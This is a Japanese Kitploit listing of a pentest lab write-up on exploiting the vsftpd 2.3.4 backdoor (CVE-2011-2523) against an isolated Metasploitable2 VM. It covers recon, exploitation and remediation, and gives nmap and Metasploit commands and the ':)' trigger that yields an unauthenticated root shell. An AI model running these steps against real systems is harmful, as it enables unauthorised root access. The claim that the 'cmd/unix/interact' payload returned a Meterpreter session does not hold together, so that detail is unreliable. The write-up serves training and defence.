Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
metasploitable2-vsftpd-writeup — Metasploitable2 上の vsftpd 2.3.4 バックドア (CVE-2011-2523) の悪用 — 偵察、悪用、そして修復を網羅する実践的なペンテストラボの writeup | Kitploit
ツール/GitHubGitHub/rsakthikumar-cmd/metasploitable2-vsftpd-writeup
偵察脆弱性スキャナー脆弱性分析エクスプロイトポストエクスプロイトペネトレーションテスト学習と教育ラボと実践

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
rsakthikumar-cmd/metasploitable2-vsftpd-writeup

metasploitable2-vsftpd-writeup

Metasploitable2 上の vsftpd 2.3.4 バックドア (CVE-2011-2523) の悪用 — 偵察、悪用、そして修復を網羅する実践的なペンテストラボの writeup

リポジトリを見る
1日前未レビュー

Metasploitable2 — vsftpd 2.3.4 バックドアの悪用

隔離された Kali Linux ↔ Metasploitable2 環境を使用して、vsftpd 2.3.4 の既知のバックドア脆弱性の発見と悪用を実演する実践的なラボです。

目的

意図的に脆弱性を持つターゲットマシンに対して、偵察、脆弱性の特定、悪用、ポストエクスプロイテーションの検証という、ペネトレーションテストの中核的なワークフローを練習します。

ラボ環境

コンポーネント詳細
攻撃機Kali Linux 2026.1 (VMware)
ターゲットMetasploitable2 (VMware)
ネットワークNAT、ホスト/インターネットから隔離
ターゲット IP192.168.233.129

両VMは同じプライベートネットワークセグメント上に配置し、実ネットワークから隔離して、この演習が外部に一切さらされないようにしました。

方法

1. 偵察 — Nmap スキャン

root@kitploit:~
nmap -sV -sC 192.168.233.129

ターゲットの開放ポートとサービスバージョンをスキャンしました。結果は次のとおりです:

root@kitploit:~
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
...

vsftpd 2.3.4 を示す Nmap スキャン

2. 脆弱性の特定

ポート21で vsftpd 2.3.4 が稼働していました。この特定のバージョンにはバックドアが含まれていることが公に知られています。2011年、公式のvsftpdソースアーカイブが侵害され、悪意のあるコードが挿入されました。:) という文字列を含むユーザー名でログインすると、TCPポート6200に隠しリスナーが起動し、認証なしのリモートシェルが提供されます。

  • 参考: CVE-2011-2523
  • 影響: root としての認証なしリモートコード実行

3. 悪用 — Metasploit

root@kitploit:~
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.233.129
set payload cmd/unix/interact
run

このエクスプロイトはバックドアの起動に成功し、Meterpreter セッションを返しました。

Meterpreter セッションが開かれたことを示す Metasploit エクスプロイト実行

4. ポストエクスプロイテーションの検証

root@kitploit:~
sessions -i 1
sysinfo
getuid

侵害したホスト上でアクティブなセッションとアクセスレベルを確認しました。

sysinfo 出力

root アクセスを確認する getuid 出力

結果

バックドアが仕込まれた古いサービスを1つ悪用するだけで、認証を一切必要とせずに、ターゲットマシンへの完全な root レベルのリモートシェルアクセス を獲得しました。

根本原因

  • ソースが侵害されたことが知られている古いソフトウェアバージョン (vsftpd 2.3.4)
  • 既知の脆弱性があるサービスバージョンを検出またはパッチ適用するプロセスがなかった

修正策

  • vsftpd を現在の検証済みでクリーンなリリースにアップグレードする
  • ソフトウェアパッケージは常に公式/検証済みリポジトリからチェックサム検証付きでダウンロードする
  • 展開前に古いサービスバージョンを検出するための定期的な脆弱性スキャンを実装する
  • 不要な公開サービス (FTP) を必要な場合以外は制限するか、追加のアクセス制御の背後に配置する

重要なポイント

既知の公開脆弱性を持つサービスが1つ古いだけでも、システム全体を完全に侵害できる — カスタムエクスプロイトの開発や高度な技術は一切不要でした。これは、パッチ管理とバージョン管理が現実世界のセキュリティ態勢の基盤である理由を示しています。

免責事項

この演習は、セキュリティトレーニング用に設計された意図的に脆弱な仮想マシンである Metasploitable2 に対してのみ、本番システムやサードパーティのインフラストラクチャに接続されていない隔離されたラボネットワーク内で実施されました。

ツールをダウンロード